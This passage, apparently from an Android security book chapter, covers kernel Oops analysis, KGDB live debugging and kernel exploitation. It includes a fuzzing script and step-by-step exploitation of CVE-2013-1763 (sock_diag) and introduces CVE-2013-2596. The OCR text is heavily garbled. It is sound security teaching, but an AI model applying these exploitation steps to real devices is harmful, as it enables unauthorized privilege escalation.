as its label suggests, is the ARM processor’s control register. This register is 
used for configuring several low-level settings like memory alignment, cache, 
interrupts, and more. The c2 register is for the Translation Table Base Register 
(TTBRO). This holds the address of the first level page table. Finally, the c3 register 
is the Domain Access Control (DAC) register. It specifies the permission levels 
for up to 16 domains, two bits each. Each domain can be set to provide access 
to user-space, kernel-space, or neither. 

The following section, output by the show_extra_register_data function, 
displays the contents of virtual memory where the general purpose registers 
point. If a register does not point at a mapped address, it will be omitted or 
appear with asterisks instead of data. 

PC: OxcO66ba0c: 
badc e92d4070 €1a04000 e1d130b4 ela05001 €3530012 34000021 ©3530013 9000002 
LR: ET 4: 
b9f4 eb005564 ela00004 e8bd4038 ea052f6a cOde8c08 cO66ba0c e92d4070 ela04000 
SP: ee 7dc50: 
dc50 cOdf1040 00000002 c222a440 00000000 00000000 c00f5d14 00000069 eb2c71a4 
oe] 
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More specifically, these blocks display 256 bytes of memory starting 128 bytes 
before the value of each register. The contents of memory where PC and LR point 
are particularly useful, especially when combined with the decodecode script 
included with the Linux kernel source. This script is used in the case study in 
the “sock_diag” section later in this chapter. 

After the memory contents section, the __ di e function displays more detail 
about the process that triggered the fault. 


Process sock_diag (pid: 2273, stack limit = Oxecf7c2f0) 

Stack: (Oxecf7dcd0 to Oxecf7e000) 

decd: €a9d6600 ee2bb600 c066ba0c c0680f dc 
dce0: cOde8c08 ee2bb600 ea065000 c066b9f8 c066b9d8 ef 166200 ee2bb600 c067fc40 
dd00: ea065000 7fffffff 00000000 ee2bb600 ea065000 00000000 ecf7df7c ecf7dd78 
[vel 


The first line shows the name, process ID, and the top of the kernel stack 
for the thread. For certain processes, this function also shows the live portion 
of kernel stack data, ranging from sp to the bottom. After that, a call stack is 
displayed as follows: 


<c066ba8c> sock_diag_rcv_msg+0x80/0xb4) from [<c0680fdc>] 
netlink_rcv_skb+0x50/0xac) 

<c0680fdc> netlink_rcv_skb+0x50/0xac) from [<c066b9f8>] 
sock_diag_rcv+0x20/0x34) 

<c066b9f8> sock_diag_rcv+0x20/0x34) from [<c067fc40>] 
netlink_unicast+0x14c/0x1e8) 

<c067fc40> netlink_unicast+0x14c/0x1e8) from [<c06803a4>] 
netlink_sendmsg+0x278/0x310) 

<c06803a4> netlink_sendmsg+0x278/0x310) from [<c064a20c>] 
sock sendmsgt0xa4/0xc0) 

<c064a20c> sock_sendmsgt0xa4/0xc0) from [<c064a3f 4>] 
(__sys_sendmsg+0xlcc/0x284) 

<c064a3f4>] (__sys_sendmsg+0xlcc/0x284) from [ <c064b548>] 
(sys_sendmsg+0x3c/ 0x60) 

<c064b548> sys_sendmsgt0x3c/0x60) from [ <c000d940>] 
(ret_fast syscall +0x0/ 0x30) 


The call stack shows the exact path that led to the fault, including symbolic 
function names. Further, the /r values for each frame are displayed. From this, 
it’s easy to spot subtle stack corruption. 

Next, the dump_instr function is used to display the four user-space instruc- 
tions leading to the fault: 


Code: €5963008 e3530000 03e04001 02000004 (e5933004) 


Although the utility of displaying this data seems questionable, it could be 
used to diagnose issues such as the Intel Oxf00f bug. 
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After returning from the __ di e function, the di e function resumes. The 
function calls 00ps_ exit, which displays a random value meant to uniquely 
identify the Oops. 


---[ end trace 3162958b5078dabf |--- 


Finally, if the pani c_on_oops flag is set, the kernel prints a final message and 
halts: 


Kernel panic - not syncing: Fatal exception 


The Linux kernel Oops provides a wealth of information pertaining to the 
activities of the kernel when an issue arises. This type of information is extremely 
helpful when tracking down the root cause. 


Live Debugging with KGDB 


On occasion debugging with only kernel crash logs is not enough. To deal with 
this problem, the kernel includes several configuration options and facilities 
for debugging in real time. Searching the. conf i g file for the string “DEBUG” 
reveals more than 80 debug-related options. Searching for the word “debug” 
in the Document ation directory shows more than 2,300 occurrences. Looking 
closer, these features do anything from increasing debug logging to enabling 
full interactive debugging. 

The most interactive debugging experience available is provided by KGDB. It 
isn’t necessarily always the best option, though. For example, setting breakpoints 
in frequently hit areas is often very slow. Custom instrumentation or facilities 
like Kprobes are better suited when debugging such situations. Nevertheless, 
this section is about interactive debugging with KGDB. Before you get going, 
you need to do some preparations on both the device and the development 
machine. Following that, you can attach and see KGDB in action. 


Preparing the Device 


The Linux kernel supports KGDB over USB and console ports. These mechanisms 
are controlled by the kgdbdbgp and kgdboc kernel command-line parameters, 
respectively. Unfortunately, both options require special preparations. Using a 
USB port requires a special USB driver whereas using a console port requires 
access to a serial port on the device itself. Because information on accessing the 
serial port of the Galaxy Nexus is widely available, using its console port for 
demonstration purposes is ideal. More information about creating the necessary 
cable is included in Chapter 13. 


343 


344 


Chapter 10 = Hacking and Attacking the Kernel 


After the cable is made, you build a custom boot image for the device. To get 
everything working, you need to create both a custom kernel and RAM disk. 

Because the kernel will take a while to build, start creating the custom ker- 
nel first. To get KGDB working, you need to tweak two things in the kernel: 
the configuration and the board serial initialization code. The configuration 
parameters that need to be changed are summarized in Table 10-1. 


Table 10-1: Configuration Parameters Needed to Enable KGDB 


FEATURE DESCRIPTION 


CONFIG_KGDB=y Enable KGDB support in the kernel. 


The Galaxy Nexus ships with the FIQ debugger enabled. 
CONFIG_OMAP_FIQ_. 


DEBUGGER=n Disable it to prevent conflicts with using the serial port for 
KGDB. 
CONFIG_CMDLINE=l...] Set kgdboc to use the correct serial port and the baud rate. 


Set the boot console to use the serial port, too. 


CONFIG_WATCHDOG=n Prevent the watchdog from rebooting the device while 
debugging. 

CONFIG_OMAP_ 

WATCHDOG=n 


Now, the custom kernel needs a slight modification in order to use the serial 
port connected to your custom cable. This is only a one line change to the 
Open Multimedia Applications Platform (OMAP) board's serial initialization 
code. A patch that implements this change (kgdb- tuna-usb-serial.diff)and 
a configuration template matching the settings in Table 10-1 are included with 
this chapter’s downloadable material available at ht t p: // www. wil ey. com/go/ 
androi dhackershandbook 

To build the kernel, follow the steps provided in the “Running Custom Kernel 
Code” section earlier in this chapter. Rather than use the t una_def config template, 
use the supplied t unakgdb_def config. The commands to do so are shown here: 


dev: ~/android/src/kernel/omap $ make tunakgdb_defconfig 
lesol 
dev: ~/android/src/kernel/omap $ make -j 6 ; make modules 
[seed 


While the kernel is building, you can start building the custom RAM disk. 
You need to build a custom ni trd. i mg in order to access the device via ADB. 
Remember, the Micro USB port on the Galaxy Nexus is now being used as a 
serial port. That means ADB over USB is out of the question. Thankfully, ADB 
supports listening on a TCP port through the use of the service. adb. tcp. port 
system property. The relevant commands follow. 
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| WARNING | Theabootimg- pack-i nitrd command doesn’t produce Nexus- 
compatible initrd images. Instead, use mk boot fs fromthesystem/core/ cpio 


directory in the AOSP repository. It is built as part of an AOSP image build. 


dev: ~/android/src/kernel/omap $ mkdir -p initrd && cd $_ 
dev: ~/android/src/kernel/omap/initrd $ abootimg -x \ 
~/android/takj u-jdq39/ boot. img 
[vad 
dev: ~/android/src/kernel/omap/initrd $ abootimg-unpack-initrd 
1164 blocks 
dev: ~/android/src/kernel/omap/ 
patching file ramdisk/init.rc 
dev: ~/android/src/kernel/omap/ 
tcpadb-initrd. img 


> 


> 


d $ patch -p0 < maguro-tcpadb-initrc. diff 


> 


d $ mkbootfs ramdisk/ | gzip > \ 


In these steps, you extract thei ni trd. i mg from the stock boot. i mg. Then you 
unpack thei ni trd. img into ther amdi sk directory using the aboot i mg- unpack- 
initrd command. Next, apply a patch to thei ni t. rc in order to enable ADB 
over TCP. This patch is included with this chapter’s materials. Finally, repack 
the modified contents into t cpadb-initrd. img. 

The final steps depend on the kernel build completing. When it is done, 
execute a few more familiar commands: 

dev: ~/android/src/kernel/omap/initrd $ mkbootimg --kernel \ 

..darch/arm/boot/zlmage --ramdisk tcpadb-initrd.img -o kgdb- boot. i mg 

dev: ~/android/src/kernel/omap/initrd $ adb reboot bootloader 


dev: ~/android/src/kernel/omap/initrd $ fastboot flash boot kgdb- boot. i mg 
dev: ~/android/src/kernel/omap/initrd $ fastboot reboot 


At this point the device will be booting up with your new kernel and will 
have ADB over TCP enabled. Make sure the device can connect to your develop- 
ment machine via Wi-Fi. Connect to the device using ADB over TCP as follows: 

dev: ~/android/src/kernel/omap $ adb connect 10.0.0. 22 

connected to 10.0.0.22:5555 


dev: ~/android/src/kernel/omap $ adb -s 10.0.0.22:5555 shel | 
shell @android:/ $ 


On a final note, this particular configuration can be a bit flaky. As soon as 
the device’s screen dims or turns off, two things happen: Wi-Fi performance 
severely degrades and the serial port is disabled. To make matters worse, the 
built-in options for keeping the screen on won't work. The normal settings menu 
allows extending the display timeout to ten minutes; but that’s not enough. Then 
there’s the development setting “stay awake” that keeps the screen on as long 
as the battery is charging. However, the device's battery will not charge while 
you use the custom serial port cable. Luckily, several Android apps in Google 
Play are specifically designed to keep the device's screen on indefinitely. Using 
one of these apps immediately after booting up makes a huge difference. 
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Preparing the Host 


There are only a few things left to do to get the host prepared for debugging 
the device's kernel. Most of the steps are already complete by this point. When 
preparing the device, you have already set up your build environment and cre- 
ated a kernel binary that contains full symbols. There’s really only one thing 
left before you connect the debugger. 

When you configured the kernel, you set the kernel command line to use the 
serial port for two purposes. First, you told the kernel that KGDB should use 
the serial port via the kgdboc parameter. Second, you told the kernel that the 
serial port should be your console via the androi dboot. consol e parameter. In 
order to separate these two streams of data, use a program called agent - proxy, 
which is available from the upstream Linux kernel’s Git repositories at gi t : / / 
git. kernel. org/pub/scm/utils/kernel/kgdb/agent- proxy. git. The following 
excerpt shows the usage of agent-proxy: 

dev: ~/android/src/kernel/omap $ ./agent-proxy/agent-proxy 4440%4441 0 \ 

/dev/ttyUSB0,115200 & sleep 1 

[1] 27970 

Agent Proxy 1.96 Started with: 4440%4441 0 /dev/ttyUSBO, 115200 

Agent Proxy running. pid: 28314 

dev: ~/android/src/kernel/omap $ nc -t -d localhost 4440 & sleep 1 

[2] 28425 

[ 4364.177001] max17040 4-0036: online = 1 vcell = 3896250 soc = 77 status = 

2 


health = 1 temp = 310 charger status = 0 
[viel 


Launch agent-proxy in the background while specifying that it should split 
KGDB and console communications to port 4440 and 4441, respectively. Give 
it the serial port and baud rate and off you go. When you connect to port 4440 
with Netcat, you see console output. Excellent! 


Connecting the Debugger 


Now that everything is in place, connecting the debugger is simple and straight- 
forward. The following GDB script automates most of the process: 
set remoteflow off 


set remotebaud 115200 
target remote :4441 


To get started, execute the ar m- eabi - gdb binary as follows: 


dev: ~/android/src/kernel/omap $ arm-eabi-gdb -q -x kgdb. gdb ./ vmlinux 
Reading symbols from /home/dev/android/src/kernel/omap/vmlinux...done. 
[eel 


In addition to telling GDB to execute the small script, you also tell the GDB 
client to use the vml i nux binary as its executable file. In doing so, you've told 
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GDB where to find all the symbols for the kernel, and thus where to find the 
corresponding source code. 

The GDB client sits waiting for something to happen. If you want to take 
control, run the following command on the device as root. 


root@android:/ # echo g > /proc/sysrq-trigger 


At this point (before the new line is even drawn) the GDB client shows the 
following. 

Program received signal SIGTRAP, Trace/breakpoint trap. 

kgdb_breakpoint () at kernel/debug/debug core.c: 954 

954 arch_kgdb_breakpoint(); 

(gdb) 


From here you can set breakpoints, inspect the code, modify kernel memory, 
and more. You have achieved fully interactive source-level remote debugging 
of the device’s kernel! 


Setting a Breakpoint in a Module 


As a final example of debugging the kernel, this section explains how to set a 
breakpoint in the provided “Hello World” module. Dealing with kernel mod- 
ules in KGDB requires a bit of extra work. After loading the module, look to 
see where it’s loaded: 

root@android:/data/local/tmp # echo 1 > /proc/sys/kernel/kptr_restrict 


root@android:/data/local/tmp # |smod 
ahh_helloworld mod 657 0 - Live Oxbf010000 


To see the address of the module, first relax the kptr_restrict mitigation 
slightly. Then, list the loaded modules with the | s mod command or by inspect- 
ing / proc/ modules. Use the discovered address to tell GDB where to find this 
module: 


gdb) add-symbol-file drivers/ahh_helloworld/ahh_helloworld_mod.ko Oxbf 010000 
add symbol table from file "“drivers/ahh_ helloworld/ahh_helloworld_ mod. ko" at 
.text_addr = O0xbf010000 
y or n) y 
gdb) x/i Oxbf010000 
0xbf010000 <init_ modul e>: mov r12, sp 
gdb) | init _module 
| 
T2 int init_module(void) 
13 { 
14 printk(KERN_INFO "%s: HELLO WORLD! @#! @#\ n", __this_module. name); 


mn] 

gdb) break cleanup_module 

Breakpoint 1 at Oxbf010034: file drivers/ahh_helloworld/ahh_helloworld_mod.c, 
ine 20. 

gdb) cont 
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After GDB has loaded the symbols, it knows about the source code of the 
module, too. Creating breakpoints works as well. When the module is eventu- 
ally unloaded, the breakpoint triggers: 

Breakpoint 1, Oxbf010034 in cleanup_module () at 


drivers/ahh_helloworld/ahh_helloworld_mod.c: 20 
20 { 


No matter how one chooses to do so, debugging the kernel is an absolute neces- 
sity when tracking down or exploiting complex vulnerabilities. Debugging post 
mortem or live, using crash dumps or debugging interactively, these methods 
help a researcher or developer achieve a deep understanding of the issues at play. 


Exploiting the Kernel 


Android 4.1, code named Jelly Bean, marked an important point in the evolution 
of Android security. That release, as discussed further in Chapter 12, finally 
made user-space exploitation much more difficult. Further, the Android team 
invested heavily in bringing SELinux to the platform. Taking both of these facts 
into consideration, attacking the Linux kernel itself becomes a clear choice. As 
far as exploitation targets go, the Linux kernel is relatively soft. Though there 
are a few effective mitigations in place, there is much left to be desired. 

Several wonderful resources on kernel exploitation have been published 
over the last decade. Among all of the presentation slide decks, blog posts, 
white papers, and exploit code published, one shines particularly brightly. That 
resource is the book A Guide to Kernel Exploitation: Attacking the Core by Enrico 
Perla and Massimiliano Oldani (Syngress, 2010). It covers a range of topics, 
including kernels other than just Linux. However, it doesn’t cover any ARM 
architecture topics. This section aims to shed light on exploiting the Linux kernel 
on Android devices by discussing typical kernel configurations and examining 
a few exploitation case studies. 


Typical Android Kernels 


Like many other aspects of the Android devices, the Linux kernels used vary 
from device to device. The differences include the version of the kernel, exact 
configuration options, device-specific drivers, and more. Despite their differences, 
many things remain the same throughout. This section describes some of the 
differences and similarities between the Linux kernels used on Android devices. 


Versions 


The particular version of the kernel varies quite a bit but falls roughly into four 
groups: 2.6.x, 3.0.x, 3.1.x, and 3.4.x. The groups that use these particular versions 
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can be thought of as generations with the first generation of devices using 2.6.x 
and the newest generation using 3.4.x. Android 4.0 Ice Cream Sandwich was 
the first to use a kernel from the 3.0.x series. Several early Jelly Bean devices, 
like the 2012 Nexus 7, use a 3.1.x kernel. The Nexus 4, which was the first to use 
a 3.4.x kernel, shipped with Android 4.2. As of this writing, no mainstream 
Android devices use a kernel newer than 3.4.x despite the latest Linux kernel 
version being 3.12. 


Configurations 


Over the years, the Android team made changes to the recommended configu- 
ration of an Android device. The Android developer documentation and CDD 
specify some of these settings. Further, the Compatibility Test Suite (CTS) verifies 
that some kernel configuration requirements are met. For example, it checks 
two particular configuration options, CONFI G_I KCONFIG and CONFI G_MODULES, 
for newer versions of Android. Presumably for security reasons, both of these 
settings must be disabled. Disabling loadable module support makes gaining 
code executing in kernel-space more difficult after root access has been obtained. 
The CTS check that verifies that the embedded kernel configuration is disabled 
states “Compiling the config file into the kernel leaks the kernel base address 
via CONFIG_PHYS_OFFSET.” Beyond these two settings, additional require- 
ments that are described in Chapter 12 are also checked. A deeper examina- 
tion of kernel configuration changes across a range of devices may reveal other 
interesting patterns. 


The Kernel Heap 


Perhaps one of the most relevant kernel configuration details relates to kernel 
heap memory. The Linux kernel has a variety of memory allocation APIs with 
most of them boiling down to k mal | oc. At compile time, the build engineer 
must choose between one of three different underlying heap implementations: 
SLAB, SLUB, or SLOB. A majority of Android devices use the SLAB allocator: 
a few use the SLUB allocator. No Android devices are known to use the SLOB 
allocator, though it’s difficult to rule it out entirely. 

Unlike much of the rest of the kernel address space, heap allocations have 
some entropy. The exact state of the kernel heap is influenced by many factors. 
For one, all of the heap operations that have taken place between boot and when 
an exploit runs are largely unknown. Secondly, attacking remotely or from an 
unprivileged position means that the attacker will have little control over ongo- 
ing operations that might be influencing the heap while the exploit is running. 

From a programmer’s point of view, the details of a given heap implementa- 
tion aren't very important. However, from an exploit developer’s point of view, 
the details make all of the difference between a reliable code execution exploit 
and a worthless crash. A Guide to Kernel Exploitation and the Phrack article that 
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preceded it both provide quite detailed information about exploiting the SLAB 
and SLUB allocators. Additionally, Dan Rosenberg discussed exploitation tech- 
niques that apply to the SLOB allocator at the Infiltrate conference in 2012. His 
paper and slide deck, entitled “A Heap of Trouble: Breaking the Linux Kernel 
SLOB Allocator,” were later published at htt ps://immunityinc.com/infil- 
trate/archives. html. 


Address Space Layout 


Modern systems split the virtual address space between kernel-space and user- 
space. Exactly where the line is drawn differs from device to device. However, 
a vast majority of Android devices use the traditional 3-gig split where kernel- 
space occupies the highest gigabyte of address space (>= 0xc0000000) and user- 
space occupies the lower three gigabytes (below 0xc0000000). On most Linux 
systems, including all Android devices, the kernel is able to fully access user- 
space memory directly. The kernel is able to not only read and write kernel 
space memory, but it is also allowed to execute it. 

Recall from earlier in this chapter that the kernel is a single monolithic image. 
Because of this fact, all global symbols are located at static addresses in memory. 
Exploit developers can rely on these static addresses to make their tasks easier. 
Further, a majority of the code areas in the ARM Linux kernel were marked 
readable, writable, and executable until only recently. Lastly, the Linux kernel 
makes extensive use of function pointers and indirection. Such paradigms provide 
ample opportunities to turn memory corruption into arbitrary code execution. 

The combination of these issues makes exploiting the Linux kernel far easier 
than exploiting user-space code on Android. In short, Android’s Linux kernel 
is a significantly more approachable target than most other modern targets. 


Extracting Addresses 


As stated before, the kernel build tools embed several security-pertinent pieces 
of information into the binary kernel image. Of particular note is the kernel 
symbol table. Inside the kernel, there are many different global data items and 
functions, each identified by a symbolic name. These names, and their corre- 
sponding addresses, are exposed to user-space via the kal | syms entry in the 
proc file system. Due to the way the binary kernel image is loaded, all global 
symbols have the same static address, even across boots. From an attacker point 
of view, this is highly advantageous because it provides a map for a great deal 
of the kernel’s address space. Knowing exactly where crucial functions or data 
structures are in memory greatly simplifies exploit development. 

The CONFI G_KALLSYMS configuration option controls whether the kernel sym- 
bol table is present in the binary image. Luckily, all Android devices (with the 
exception of some TV devices) enable this option. As a matter of fact, disabling 


Chapter 10 = Hacking and Attacking the Kernel 


this setting makes debugging kernel problems much more difficult. Prior to 
Jelly Bean, it was possible to obtain the names and addresses of nearly all ker- 
nel symbols by reading the / proc/kal|lsyms file. Jelly Bean and later versions 
prevent using this method. However, all is not lost. 

On Android, the device manufacturer bakes the Linux kernel into each device’s 
firmware. Updating the kernel requires an Over-the-Air (OTA) update or flash- 
ing a new factory image. Because there is only one binary kernel image for each 
release for a device, you can approach this situation in one of two ways. First, you 
can obtain the binary image and extract the addresses of most kernel symbols 
statically. Second, you can use suitable information disclosure vulnerabilities, 
like CVE-2013-6282, to read the symbol table directly from kernel memory. Both 
of these methods circumvent the mitigation that prevents using / proc/ kal | syms 
directly. Further, the obtained addresses can be leveraged for both local and 
remote attacks because they are effectively hardcoded. 

The kal | symprint tool from the “android-rooting-tools” project facilitates 
extracting symbols statically. To build this tool, you need the source from two 
different projects on Github. Thankfully, the main project includes the other 
project as a Git submodule. The steps to build and run this tool against a stock 
Nexus 5 kernel are shown here: 

dev: ~/android/n5/hammerhead-krtl6m/img/boot $ git clone \ 

https: //github.com/fidl/kallsymsprint. git 

Cloning into 'kallsymsprint'... 

ms E android/n5/hammerhead-krt16m/img/boot $ cd kallsymprint 

dev: ~/android/n5/hammerhead-krtl6m/img/boot/kallsymprint $ git submodule init 

Submodule ‘li bkallsyms' 

(https: //github. com/android-rooting-tools/libkallsyms. git) 

registered for path 'libkallsyms' 

dev: ~/android/n5/hammerhead-krtl6m/img/boot/kallsymprint $ git submodule \ 

update 

Cloning into 'libkallsyms'... 

sae e path ‘'libkallsyms': checked out 

'ffe994e0b161f42a46d9cb3703dac844f5425ba4' 


D 


The checked out repository contains a binary image, but it’s generally not 
advised to run an untrusted binary. After understanding the source, build it 
yourself using the following commands. 

dev: ~/android/n5/hammerhead-krtl6m/img/boot/kallsymprint $ rm kallsymprint 

dev: ~/android/n5/hammerhead-krt16m/img/boot/kallsymprint $ gcc -m32 -I. \ 

-0 kallsymsprint main.c libkallsyms/kallsyms_in_memory.c 


[vow] 


With the binary recompiled from source, extract the symbols from your 
decompressed Nexus 5 kernel as follows: 


dev: ~/android/n5/hammerhead-krtl6m/img/boot/kallsymprint $ cd .. 
dev: ~/android/n5/hammerhead-krtl6m/img/boot $ ./kallsymsprint/kallsymsprint \ 
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piggy 2> /dev/null | grep -E '(prepare_kernel_cred|commit_creds)' 
cOlbacl4 commit _creds 
c01bb404 prepare kernel cred 


These two symbols are used in the kernel privilege escalation payload used 
in many kernel exploits, including some of the case studies in the next section. 


Case Studies 


Taking a closer look at the exploit development process is probably the best 
way to drive home some of the concepts used to exploit kernel vulnerabilities. 
This section presents case studies that detail how three particular issues were 
exploited on vulnerable Android devices. First, it briefly covers a couple of 
interesting Linux kernel issues that affect a range of devices, including non- 
Android devices. Then it takes a deep dive into porting an exploit for a memory 
corruption issue that affected several Android devices, but was only developed 
to work in specific circumstances. 


sock_diag 


The sock_diag vulnerability serves as an excellent introduction to exploiting the 
Linux kernels used on Android devices. This bug was introduced during the 
development of version 3.3 of the Linux kernel. No known Android devices use 
a3.3 kernel, but several use version 3.4. This includes Android 4.3 and earlier on 
the Nexus 4 as well as several other retail devices, such as the HTC One. Using 
this vulnerability, affected devices can be rooted without needing to wipe user 
data. Further, attackers could leverage this issue to escalate privileges and take 
full control of an exploited browser process. The bug was assigned CVE-2013- 
1763, which reads as follows. 


Array index error inthe _sock_diag_rcv_msg function in net/core/sock_ 
diag.c in the Linux kernel before 3.7.10 allows local users to gain privileges 
via a large family value in a Netlink message. 


As the Common Vulnerabilities and Exposures (CVE) description suggests, 
this function is called when processing Netlink messages. More specifically, 
there are two criteria for reaching this function. First, the message must be sent 
over a Netlink socket using the NETLINK_SOCK_DIAG protocol. Second, the 
message must specify an nl msg_type of SOCK_DIAG_BY_FAMILY. There are 
several public exploits for the x86 and x86_64 architectures that show how this 
is done in detail. 
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The CVE description also states that the issue is present in the__sock_diag_ 
rcv_msg function in the net/core/sock_diag.c file in the Linux kernel. This is 
not strictly true, as you will see. The aforementioned function is presented here: 


120 static int __sock_diag_rcv_msg(struct sk_buff *skb, struct nlmsghdr 
*ni h) 

121 { 

122 int err; 

123 struct sock_diag_req *req = NLMSG_DATA(nIh) 

124 struct sock_diag_handler *hndl 

125 

126 if (nil msg_len(nlh) < sizeof(*req)) 

127 return - EINVAL 

128 

129 hndl = sock_diag_lock_handler(req->sdiag_family) 


When this function is called, the nl h parameter contains data supplied by 
the unprivileged user that sent the message. The data within the message cor- 
responds to the payload of the Netlink message. On line 129, thes di ag_f ami | y 
member of thesock_di ag_req structure is passed to thesock_diag_l ock_han- 
dl er function. The source for that function follows: 


105 static inline struct sock_diag_handler *sock_diag_lock_handler(int 
family) 

106 { 

107 if (sock _diag_handlers[family] == NULL) 

108 request module("net-pf-%d-proto-%d-type-%d", PF_NETLI NK 
109 NETLINK_SOCK_DIAG, family) 

110 

111 mutex_lock(&sock_diag_table_mutex) 

112 return sock _diag_handlers[famil y] 

113 } 


In this function, the value of the f ami | y parameter is controlled by the user 
sending the message. On line 107, it is used as an array index to check to see if 
an element of the sock_diag_ handlers array is NULL. There’s no check that the 
index is within the bounds of the array. On line 112, the item within the array 
is returned to the calling function. It’s not obvious why this matters yet. Let’s 
go back to the call site and track the return value further through the code. 


# continued from __sock_diag_rcv_msg in net/core/sock_diag.c 


129 hndl = sock_diag_lock_handler(req->sdiag_family) 
130 if (hndl == NULL) 

131 err = -ENOENT 

132 else 


133 err = hndl->dump(skb, nih) 
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Line 129 is the call site. The return value is stored into the hnd! variable. 
After passing another NULL check on line 130, the kernel uses this variable to 
retrieve a function pointer and call it. A reader experienced with vulnerability 
research can already see the promise this vulnerability holds. 

So you can get the kernel to fetch this variable from outside of the array 
bounds. Unfortunately, you don’t control the value of hnd! outright. To control 
the contents of hnd! , you have to get it to point to something you do control. 
Without knowing what kinds of things lie beyond the bounds of the array, 
it’s not clear what value might work for the f ami | y variable. To find this out, 
put together a proof-of-concept program that takes a value to be used as the 
family variable on the command line. The plan is to try a range of values for 
the index. The device will reboot if a crash occurs. Thanks to/ proc/|ast_kmsqg, 
you can see the crash context as well as values from kernel space memory. 
The following excerpt shows the shell script and command line that is used to 
automate this process. 

dev: ~/android/sock_diag $ cat getem. sh 

#!/ bin/bash 

CMD="adb wait-for-device shell /data/local/tmp/sock_ diag" 

Jusr/bin/time -o timing -f %e $CMD $1 

TIME= cat timing | cut -d. -fl° 

let TIME=$(( $TIME + 0 )) 

if [ $TIME -gt 1 ]; then 

adb wait-for-device pull /proc/last_kmsg kmsg. $1 

fi 

dev: ~/android/sock_diag $ for ii in ‘seq 1 128°; do ./getem.sh $ii; done 

b] 


The shell script detects whether the device crashed based on how long it took 
for the adb shel I command to execute. When a crash occurs, the ADB session 
hangs momentarily while the device reboots. If there was no crash, ADB returns 
quickly. When a crash is detected, the script pulls the / proc/last_kmsg down 
and names it based on the index tried. After the command completes, take a 
look at the results. 


dev: ~/android/sock_diag $ grep 'Unable to handle kernel paging request' kmsg.* \ 
| cut -f 20- 

[ee] 

kmsg.48: Unable to handle kernel paging request at virtual address 00001004 
besal 

kmsg.51: Unable to handle kernel paging request at virtual address 00007604 
beel 

kmsg. 111: Unable to handle kernel paging request at virtual address 31000034 
kmsg. 112: Unable to handle kernel paging request at virtual address 00320004 
kmsg. 113: Unable to handle kernel paging request at virtual address 00003304 
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kmsg.114: Unable to handle kernel paging request at virtual address 35000038 
kmsg.115: Unable to handle kernel paging request at virtual address 00360004 
kmsg.116: Unable to handle kernel paging request at virtual address 00003704 
[sie] 


You can see several values that crash when trying to read from a user-space 
address. Sadly, you can’t use the first couple of values due to the mmap_mi n_addr 
kernel exploitation mitigation. However, some of the next few look usable. You 
can map such an address in your program and control the contents of hnd| . But 
which should you use? Are these addresses stable? 

The “Understanding an Oops” section earlier in this chapter examined the 
Oops message from | ast_kmsg. 115 and stated that using the decodecode script 
is particularly useful. The output shown here demonstrates how that script can 
help you get more detailed information about the crash context. 

dev: ~/android/src/kernel/msm $ export CROSS COMPI LE=ar m- eabi 

dev: ~/android/src/kernel/msm $ ./scripts/decodecode < oops.txt 


[ 174.378177] Code: e5963008 e€3530000 03e04001 0a000004 (e5933004) 
All code 


0 €5963008 ld 3, [r6, #8] 

4: e€3530000 cmp 3, #0 

8: 03e04001 mv neq 4, #1 

ci 0a000004 beq 0x24 

10:* e5933004 ld 3, [r3, #4] <-- trapping instruction 


Code starting with the faulting instruction 


0: 5933004 ld 3, [r3, #4] 


The script draws an arrow indicating where the crash happened and shows 
instructions that led up to the crash. By following code and data flow backward, 
you can see that r 3 was loaded from r 3 plus four. Unfortunately, you lose the 
intermediate value of r 3 in this situation. However, a bit further back you see 
that r3 was originally loaded from where the r 6 register points. Looking at 
/proc/kallsysms on the vulnerable device, you see the following in the range 
of ther 6 value. 


c108b988 b sock_diag_handlers 


c108bb44 b nf_log_sysctl_fnames 
c108bb6c b nf_log_sysctl_table 


Here r 6 points into the nf_log_sysct!_fnames data area. By searching for 
this symbol in the kernel source, you will find 


274 for (i = NFPROTO_UNSPEC; i < NFPROTO_ NUMPROTO; i++) { 
275 snprintf(nf_log_sysctl_fnames[i-NFPROTO_UNSPEC], 3, "%d", i); 
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The array is initialized using integer values converted to ASCII strings. Each 
string is three bytes long. Referring to the Oops message, including the memory 
dump around r 6, you can confirm that this is indeed the same data. 


3 : 00360000 r2 : ecf7dcc8 rl: ea9d6600 rO : cOde8clc 


R6: Oxcl08bacc: 

bacc cOdcf2d4 cOdcf2d4 cOd9aef8 cOd9aef8 cl08badc cl08badc cl08bae4 cl08bae4 
baec cl08baec cl08baec clO8baf4 cl08baf4 clO8bafc clO08bafc c108bb04 c108bb04 
bbO0c clO8bb0c cl08bb0c c108bb14 c108bb14 cl08bb1lc c108bblc c108bb24 c108bb24 
bb2c cl08bb2c cl08bb2c c108bb34 c108bb34 00000000 e2fb7500 31000030 00320000 
bb4c 00003300 35000034 00360000 00003700 39000038 30310000 00313100 00003231 
bb6c cl08bb44 00000000 00000040 000001a4 00000000 c0682be8 00000000 00000000 
bb8c 00000000 c108bb47 00000000 00000040 00000104 00000000 c0682be8 00000000 
bbac 00000001 00000000 c108bb4a 00000000 00000040 000001a4 00000000 c0682be8 


The ASCII strings start at 0xcl08bb44. There appears to be a pattern. Each 
string is three bytes, the values match the ASCII character values for digits, and 
they are increasing in value. Because this string is statically initialized at boot, 
it is an extremely stable source for user-space addresses to us for your exploit! 

Finally, to successfully exploit the issue, map some memory at the address 
the kernel uses for the corresponding index. For example, if you go with index 
115, map some RWX memory at address 0x360000. Then set up the contents of 
that memory with a pointer to your payload at offset 0x04. This becomes the 
dump function pointer. When it gets called, your kernel-space payload should 
give you root privileges and return. If everything went according to plan, you 
will have successfully exploited this vulnerability and obtained root access. 


Motochopper 


Prolific Android exploit developer Dan Rosenberg developed and released an 
exploit called Motochopper in April 2013. Although it was purported to pro- 
vide root access on several Motorola devices, it also affected a range of other 
devices, including the Samsung Galaxy S3. The initial exploit was fairly well 
obfuscated in an attempt to hide what it was doing. It implemented a custom 
virtual machine, opened tons of unnecessary decoy files, and used a neat trick 
to mask which system calls it executed. The underlying issue was later assigned 
CVE-2013-2596, which reads as follows: 


Integer overflow in the fb_mmap function in drivers/video/fbmem.c in the 
Linux kernel before 3.8.9, as used in a certain Motorola build of Android 
4.1.2 and other products, allows local users to create a read-write memory 
mapping for the entirety of kernel memory, and consequently gain privi- 
leges, via crafted /dev/graphics/fb0 mmap2 system calls, as demonstrated 
by the Motochopper pwn program. 
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To take a closer look, consult the code for the f b_ mmap function in the dri vers/ 
video/fbmem. c file from a vulnerable Linux kernel. More specifically, examine 
the kernel source for the Sprint Samsung Galaxy S3 running the L710VPBMD4 
firmware: 


1343 static int 

